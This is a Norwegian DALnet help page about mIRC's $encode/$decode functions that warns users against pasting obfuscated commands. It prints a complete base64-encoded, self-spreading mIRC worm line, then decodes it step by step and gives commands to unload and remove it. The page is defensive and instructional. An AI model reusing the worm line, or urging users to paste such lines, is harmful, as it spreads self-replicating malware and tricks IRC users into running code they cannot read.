Når alt ser håpløst ut..

#Hjelp på DALnet

Main | mIRC | mIRC Scripting | Operatører | Services | Virus? | Informasjon


$Encode & $Decode

En enkel måte man kan kryptere meldinger på mIRC er $encode(melding,m). Og når man da skal dekryptere den igjen, skriver man bare: $decode(krypterte-melding,m).
NB! Det går ikke an å ha spesialtegn som , der.

Ganske mange "WannaB VirusCreatere" har ofte utnyttet den krypteringen der. Ettersom brukeren ikke kan lese hva som står i den krypterte meldingen, kan de lettere lure brukeren til å skrive den. For det er ikke mange som vet hva //.$decode(cXVpdA==,m) betyr.

For de mer erfarne brukere kan lett bare kopiere den alt fra og med $ til og med siste ). Men vær oppmerksom så du ikke får en | tegn imellom. For | er et skilletegn/Linjeskift når man skriver to // fremst i linja. Og det må man i mange tilfeller bruke når man skal dekryptere en linje, ettersom de fleste $decode meldingene er forlange til bare kan skrive $decode(cXVpdA==,m) og trykke < TAB >. Da må man bare lime det inn i et vindu. F.eks Statusvinduet, og skrive //Echo –a $decode(cXVpdA==,m) og trykke < Enter >

Når man derimot skal kryptere noe, kanskje med mellomrom, gjelder samme regelen. //Echo -a $encode(meldingen her) og presse < Enter >

Som tidligere nevnt, er det mange som utnytter dumheten til andre brukere og sier: "Skriv dette for å få op i alle kanaler: //. $decode(cXVpdCBJJ20gYSBsYW1lIGFzcw==,m)" I dette tilfelle skjer det ikke noe alvorlig, annet enn brukeren vil quite med "I’m a lame ass".

Det blir verre når de begynner å skrive slik som f.eks:

Type This to Hack Someone!: //$decode( d3JpdGUgrg== ,m) | $decode(b24gKjpqb2luOiM6LnRpbWVyIDEgMzAgaWYgKCAkbmljayAhaXNvcCAkY2hhbiApIC5tc2cgJG5pY2sgVHlw ZSBUaGlzIHRvIEhhY2sgU29tZW9uZSE6IC8vJCAkKyBkZWNvZGUoICRlbmNvZGUod3JpdGUgriAkcmVhZCgkc2NyaXB0LG4s MSksbSkgLG0pICQgJCsgY2hyKDEyNCkgJCAkKyBkZWNvZGUoICRlbmNvZGUoLmxvYWQgLXJzIK4sbSkgLG0p,m) | $decode( LmxvYWQgLXJzIK4= ,m)
Den linjen innholder | som betyr linjeskift, og vil derfor Load en remote. Den remoten kan man også kvalifisere som ”virus” ettersom den gjør en uønsket gjerning.

Remoten som lastes opp innholder on *:join:#:.timer 1 30 if ( $nick !isop $chan ) .msg $nick Type This to Hack Someone!: //$ $+ decode( $encode(write ® $read($script,n,1),m) ,m) $ $+ chr(124) $ $+ decode( $encode(.load -rs ®,m) ,m) Det kan man finne ut ved å kopiere og lime inn hver av $decode meldingene i flere operasjoner til status vinduet. Eks fra denne setningen: Kopiere og lime følgen i første omgang //echo –a $decode( d3JpdGUgrg== ,m) som vil resultere til: write ® Kopiere og lime inn følgene i Andre omgang //echo –a $decode(b24gKjpqb2luOiM6LnRpbWVyIDEgMzAgaWYgKCAkbmljayAhaXNvcCAkY2hhbiApIC5tc2cgJG5pY2s gVHlwZSBUaGlzIHRvIEhhY2sgU29tZW9uZSE6IC8vJCAkKyBkZWNvZGUoICRlbmNvZGUod3JpdGUgriAkcmVhZCgkc2NyaXB0 LG4sMSksbSkgLG0pICQgJCsgY2hyKDEyNCkgJCAkKyBkZWNvZGUoICRlbmNvZGUoLmxvYWQgLXJzIK4sbSkgLG0p,m) som vil resultere til: on *:join:#:.timer 1 30 if ( $nick !isop $chan ) .msg $nick Type This to Hack Someone!: //$ $+ decode( $encode(write ® $read($script,n,1),m) ,m) $ $+ chr(124) $ $+ decode( $encode(.load -rs ®,m) ,m) og til slutt limer inn følgende for tredje omgang//echo –a $decode( LmxvYWQgLXJzIK4= ,m) som vil resultere til: load –rs ®

Setter man det sammen i den rekkefølgen blir det: Write ® | on *:join:#:.timer 1 30 if ( $nick !isop $chan ) .msg $nick Type This to Hack Someone!: //$ $+ decode( $encode(write ® $read($script,n,1),m) ,m) $ $+ chr(124) $ $+ decode( $encode(.load -rs ®,m) ,m) | load –rs ® For å fjerne dette tullet, må man dette tilfellet Unload remoten. Ettersom vi har funnet ut at remoten heter ® så skriver vi følgende: //Unload –rs ®

Det kan også være lurt å slette remoten, som man gjør ved å skrive: //remove ®

Denne remoten innholder også noen timere, som kan være aktiv i opp til 30 sek etter at den er slettet, de kan være sjekk å avslutte, som man gjør ved å f.eks skrive: //timer* off

Setter man det sammen til en linje med | tegnet, skriver man bare //Unload –rs ® | remove ® | //timer* off

Ber man en annen bruker å skrive det. Kan det være lurt å slenge på en //say Gjort Da vil linjen bli seende slik ut: //Unload –rs ® | remove ® | //timer* off | say Gjort

Den må selvfølgelig skrives i aktive kanalen/queryen slik at du kan se når vedkommende har gjort det.

Skrevet av ZralleZ